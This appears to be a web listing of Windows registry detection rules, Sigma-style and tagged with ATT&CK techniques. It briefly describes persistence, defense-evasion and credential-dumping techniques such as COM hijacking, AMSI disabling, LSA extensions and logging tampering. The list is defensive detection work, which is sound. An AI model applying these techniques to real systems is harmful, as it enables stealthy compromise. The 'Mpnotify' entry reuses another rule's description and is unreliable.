New File Association Using Exefile

Aug 17, 2023 · attack.defense_evasion ·

Share on:

Detects the abuse of the exefile handler in new file association. Used for bypass of security products.

New ODBC Driver Registered

Aug 17, 2023 · attack.persistence ·

Share on:

Detects the registration of a new ODBC driver.

New Root or CA or AuthRoot Certificate to Store

Aug 17, 2023 · attack.impact attack.t1490 ·

Share on:

Detects the addition of new root, CA or AuthRoot certificates to the Windows registry

New RUN Key Pointing to Suspicious Folder

Aug 17, 2023 · attack.persistence attack.t1547.001 ·

Share on:

Detects suspicious new RUN key element pointing to an executable in a suspicious folder

Office Autorun Keys Modification

Aug 17, 2023 · attack.persistence attack.t1547.001 ·

Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Office Macros Auto-Enabled

Aug 17, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detects registry changes to Microsoft Office "VBAWarning" to a value of "1" which enables the execution of all macros, whether signed or unsigned.

Outlook EnableUnsafeClientMailRules Setting Enabled - Registry

Aug 17, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros

Outlook Macro Execution Without Warning Setting Enabled

Aug 17, 2023 · attack.persistence attack.command_and_control attack.t1137 attack.t1008 attack.t1546 ·

Share on:

Detects the modification of Outlook security setting to allow unprompted execution of macros.

Outlook Security Settings Updated - Registry

Aug 17, 2023 · attack.persistence attack.t1137 ·

Share on:

Detects changes to the registry values related to outlook security settings

Outlook Task/Note Reminder Received

Aug 17, 2023 · attack.persistence attack.t1137 cve.2023.23397 detection.emerging_threats ·

Share on:

Detects changes to the registry values related to outlook that indicates that a reminder was triggered for a Note or Task item. This could be a sign of exploitation of CVE-2023-23397. Further investigation is required to determine the success of an exploitation.

Persistence Via Disk Cleanup Handler - Autorun

Aug 17, 2023 · attack.persistence ·

Share on:

Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence via autorun. The disk cleanup manager is part of the operating system. It displays the dialog box […] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI. Although Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications. Instead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler. Any developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.

Persistence Via Hhctrl.ocx

Aug 17, 2023 · attack.persistence ·

Share on:

Detects when an attacker modifies the registry value of the "hhctrl" to point to a custom binary

Persistence Via New SIP Provider

Aug 17, 2023 · attack.persistence attack.defense_evasion attack.t1553.003 ·

Share on:

Detects when an attacker register a new SIP provider for persistence and defense evasion

Potential AMSI COM Server Hijacking

Aug 17, 2023 · attack.defense_evasion attack.t1562.001 ·

Share on:

Detects changes to the AMSI come server registry key in order disable AMSI scanning functionalities. When AMSI attempts to starts its COM component, it will query its registered CLSID and return a non-existent COM server. This causes a load failure and prevents any scanning methods from being accessed, ultimately rendering AMSI useless

Potential Attachment Manager Settings Associations Tamper

Aug 17, 2023 · attack.defense_evasion ·

Share on:

Detects tampering with attachment manager settings policies associations to lower the default file type risks (See reference for more information)

Potential Attachment Manager Settings Attachments Tamper

Aug 17, 2023 · attack.defense_evasion ·

Share on:

Detects tampering with attachment manager settings policies attachments (See reference for more information)

Potential AutoLogger Sessions Tampering

Aug 17, 2023 · attack.defense_evasion ·

Share on:

Detects tampering with autologger trace sessions which is a technique used by attackers to disable logging

Potential COLDSTEEL RAT Windows User Creation

Aug 17, 2023 · attack.persistence detection.emerging_threats ·

Share on:

Detects creation of a new user profile with a specific username, seen being used by some variants of the COLDSTEEL RAT.

Potential Credential Dumping Attempt Using New NetworkProvider - REG

Aug 17, 2023 · attack.credential_access attack.t1003 ·

Share on:

Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it

Potential Encrypted Registry Blob Related To SNAKE Malware

Aug 17, 2023 · attack.persistence detection.emerging_threats ·

Share on:

Detects the creation of a registry value in the ".wav\OpenWithProgIds" key with an uncommon name. This could be related to SNAKE Malware as reported by CISA

Potential EventLog File Location Tampering

Aug 17, 2023 · attack.defense_evasion attack.t1562.002 ·

Share on:

Detects tampering with EventLog service "file" key. In order to change the default location of an Evtx file. This technique is used to tamper with log collection and alerting

Potential Persistence Using DebugPath

Aug 17, 2023 · attack.persistence attack.t1546.015 ·

Share on:

Detects potential persistence using Appx DebugPath

Potential Persistence Via App Paths Default Property

Aug 17, 2023 · attack.persistence attack.t1546.012 ·

Share on:

Detects changes to the "Default" property for keys located in the \Software\Microsoft\Windows\CurrentVersion\App Paths\ registry. Which might be used as a method of persistence The entries found under App Paths are used primarily for the following purposes. First, to map an application's executable file name to that file's fully qualified path. Second, to pre-pend information to the PATH environment variable on a per-application, per-process basis.

Potential Persistence Via AutodialDLL

Aug 17, 2023 · attack.persistence ·

Share on:

Detects change the the "AutodialDLL" key which could be used as a persistence method to load custom DLL via the "ws2_32" library

Potential Persistence Via CHM Helper DLL

Aug 17, 2023 · attack.persistence ·

Share on:

Detects when an attacker modifies the registry key "HtmlHelp Author" to achieve persistence

Potential Persistence Via COM Hijacking From Suspicious Locations

Aug 17, 2023 · attack.persistence attack.t1546.015 ·

Share on:

Detects potential COM object hijacking where the "Server" (In/Out) is pointing to a supsicious or unsuale location

Potential Persistence Via COM Search Order Hijacking

Aug 17, 2023 · attack.persistence attack.t1546.015 ·

Share on:

Detects potential COM object hijacking leveraging the COM Search Order

Potential Persistence Via DLLPathOverride

Aug 17, 2023 · attack.persistence ·

Share on:

Detects when an attacker adds a new "DLLPathOverride" value to the "Natural Language" key in order to achieve persistence which will get invoked by "SearchIndexer.exe" process

Potential Persistence Via Excel Add-in - Registry

Aug 17, 2023 · attack.persistence attack.t1137.006 ·

Share on:

Detect potential persistence via the creation of an excel add-in (XLL) file to make it run automatically when Excel is started.

Potential Persistence Via LSA Extensions

Aug 17, 2023 · attack.persistence ·

Share on:

Detects when an attacker modifies the "REG_MULTI_SZ" value named "Extensions" to include a custom DLL to achieve persistence via lsass. The "Extensions" list contains filenames of DLLs being automatically loaded by lsass.exe. Each DLL has its InitializeLsaExtension() method called after loading.

Potential Persistence Via Mpnotify

Aug 17, 2023 · attack.persistence ·

Share on:

Detects when an attacker register a new SIP provider for persistence and defense evasion

Potential Persistence Via MyComputer Registry Keys

Aug 17, 2023 · attack.persistence ·

Share on:

Detects modification to the "Default" value of the "MyComputer" key and subkeys to point to a custom binary that will be launched whenever the associated action is executed (see reference section for example)

Potential Persistence Via Outlook Home Page

Aug 17, 2023 · attack.persistence attack.t1112 ·

Share on:

Detects potential persistence activity via outlook home pages.

Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting

Aug 17, 2023 · attack.persistence attack.command_and_control attack.t1137 attack.t1008 attack.t1546 ·

Share on:

Detects the modification of Outlook setting "LoadMacroProviderOnBoot" which if enabled allows the automatic loading of any configured VBA project/module

Potential Persistence Via Outlook Today Pages

Aug 17, 2023 · attack.persistence attack.t1112 ·

Share on:

Detects potential persistence activity via outlook today pages. An attacker can set a custom page to execute arbitrary code and link to it via the registry key "UserDefinedUrl".

Potential Persistence Via Scrobj.dll COM Hijacking

Aug 17, 2023 · attack.persistence attack.t1546.015 ·

Share on:

Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute

Potential Persistence Via Shim Database In Uncommon Location

Aug 17, 2023 · attack.persistence attack.t1546.011 ·

Share on:

Detects the installation of a new shim database where the file is located in a non-default location

Potential Persistence Via Shim Database Modification

Aug 17, 2023 · attack.persistence attack.t1546.011 ·

Share on:

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time

Potential Persistence Via TypedPaths

Aug 17, 2023 · attack.persistence ·

Share on:

Detects modification addition to the 'TypedPaths' key in the user or admin registry from a non standard application. Which might indicate persistence attempt

Potential PowerShell Execution Policy Tampering

Aug 17, 2023 · attack.defense_evasion ·

Share on:

Detects changes to the PowerShell execution policy in order to bypass signing requirements for script execution

Potential Provisioning Registry Key Abuse For Binary Proxy Execution - REG

Aug 17, 2023 · attack.defense_evasion attack.t1218 ·

Share on:

Detects potential abuse of the provisioning registry key for indirect command execution through "Provlaunch.exe".

Potential PSFactoryBuffer COM Hijacking

Aug 17, 2023 · attack.persistence attack.t1546.015 ·

Share on:

Detects changes to the PSFactory COM InProcServer32 registry. This technique was used by RomCom to create persistence storing a malicious DLL.

Potential Ransomware Activity Using LegalNotice Message

Aug 17, 2023 · attack.impact attack.t1491.001 ·

Share on:

Detect changes to the "LegalNoticeCaption" or "LegalNoticeText" registry values where the message set contains keywords often used in ransomware ransom messages

Potential Registry Persistence Attempt Via DbgManagedDebugger

Aug 17, 2023 · attack.persistence attack.t1574 ·

Share on:

Detects the addition of the "Debugger" value to the "DbgManagedDebugger" key in order to achieve persistence. Which will get invoked when an application crashes

Potential Registry Persistence Attempt Via Windows Telemetry

Aug 17, 2023 · attack.persistence attack.t1053.005 ·

Share on:

Detects potential persistence behavior using the windows telemetry registry key. Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.

Potential Signing Bypass Via Windows Developer Features - Registry

Aug 17, 2023 · attack.defense_evasion ·

Share on:

Detects when the enablement of developer features such as "Developer Mode" or "Application Sideloading". Which allows the user to install untrusted packages.

Potentially Suspicious ODBC Driver Registered

Aug 17, 2023 · attack.persistence attack.t1003 ·

Share on:

Detects the registration of a new ODBC driver where the driver is located in a potentially suspicious location

PowerShell as a Service in Registry

Aug 17, 2023 · attack.execution attack.t1569.002 ·

Share on:

Detects that a powershell code is written to the registry as a service.

PowerShell Logging Disabled Via Registry Key Tampering

Aug 17, 2023 · attack.defense_evasion attack.t1564.001 ·

Share on:

Detects changes to the registry for the currently logged-in user. In order to disable PowerShell module logging, script block logging or transcription and script execution logging

RDP Sensitive Settings Changed

Aug 17, 2023 · attack.defense_evasion attack.persistence attack.t1112 ·

Share on:

Detects tampering of RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc

Register New IFiltre For Persistence

Aug 17, 2023 · attack.persistence ·

Share on:

Detects when an attacker register a new IFilter for an extension. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files

Registry Disable System Restore

Aug 17, 2023 · attack.impact attack.t1490 ·

Share on:

Detects the modification of the registry to disable a system restore on the computer

Registry Explorer Policy Modification

Aug 17, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique)

Registry Hide Function from User

Aug 17, 2023 · attack.defense_evasion attack.t1112 ·

Share on:

Detects registry modifications that hide internal tools or functions from the user (malware like Agent Tesla, Hermetic Wiper uses this technique)

Registry Modification to Hidden File Extension

Aug 17, 2023 · attack.persistence attack.t1137 ·

Share on:

Hides the file extension through modification of the registry

Registry Persistence via Explorer Run Key

Aug 17, 2023 · attack.persistence attack.t1547.001 ·

Share on:

Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder

Registry Persitence via Service in Safe Mode

Aug 17, 2023 · attack.defense_evasion attack.t1564.001 ·

Share on:

Detects the modification of the registry to allow a driver or service to persist in Safe Mode.